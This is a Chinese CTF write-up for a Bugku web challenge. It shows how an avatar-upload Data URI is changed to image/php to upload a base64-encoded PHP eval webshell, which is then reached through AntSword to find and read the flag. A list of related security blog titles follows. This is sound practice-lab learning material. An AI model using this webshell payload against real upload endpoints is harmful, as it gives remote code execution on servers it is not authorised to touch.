Bugku-web题目-xxx二手交易市场

关于bugku题目:xxx二手交易市场,打开题目,先注册一个账号。

随后登录账号

看了一下感觉有头像上传的漏洞点,打开bp,抓取上传头像的那个包

头像上传漏洞点,rce + webshell:

抓包后发现"image=data:image/jpeg;base64,<data>(跟着一大堆乱七八糟编码)"

识别Data URI格式,这就是标准的Data URI 格式:data:[<mediatype>][;base64],<data>

原image/jpeg被替换成image/php,方便植入并执行webshell

payload采用"image=data%3Aimage%2Fphp%3Bbase64%2CPD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4="(URL参数形式),解码后"image=data:image/php;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4="

在bp的repeater模块中替换并发送了包之后,查看response(响应),可以从data中看到一个路径,使用它返回的路径,在蚁剑中进行连接。

成功进入蚁剑之后,打开虚拟终端,输入"find / -name flag 2>/dev/null"即可找到flag的路径(/var/www/html/flag )

那么此时先将路径回到根目录,"cd /"

再执行"cd /var/www/html"

最后"cat flag"即可得到flag

相关推荐
mooyuan天天11 小时前
MySQL数据库UDF提权+Find提权渗透实战(Raven2靶机)
web安全·udf提权·phpmailer·raven2
Xudde.12 小时前
BabyPass靶机渗透
笔记·学习·安全·web安全
像风没有归宿a13 小时前
2024年全球网络安全威胁报告:AI攻击与勒索软件新变种
人工智能·安全·web安全
Z3r4y16 小时前
【Reverse】BUUCTF 第一页 wp
ctf·reverse·buuctf·wp
独行soc17 小时前
2025年渗透测试面试题总结-273(题目+回答)
网络·python·安全·web安全·网络安全·渗透测试·安全狮
独行soc17 小时前
2025年渗透测试面试题总结-274(题目+回答)
网络·python·安全·web安全·网络安全·渗透测试·安全狮
xing.yu.CTF19 小时前
ATT&CK实战系列--蓝队防御(五)
网络安全·渗透测试·应急响应·红蓝对抗·内网对抗
vortex520 小时前
渗透测试红队快速打点策略的思考
网络·安全·web安全
眠晚晚20 小时前
云上攻防-Docker-堡垒机安全详解
安全·web安全·网络安全·docker·容器
梦想是红队的咸鱼21 小时前
git泄露(一篇文章就够了)
git·web安全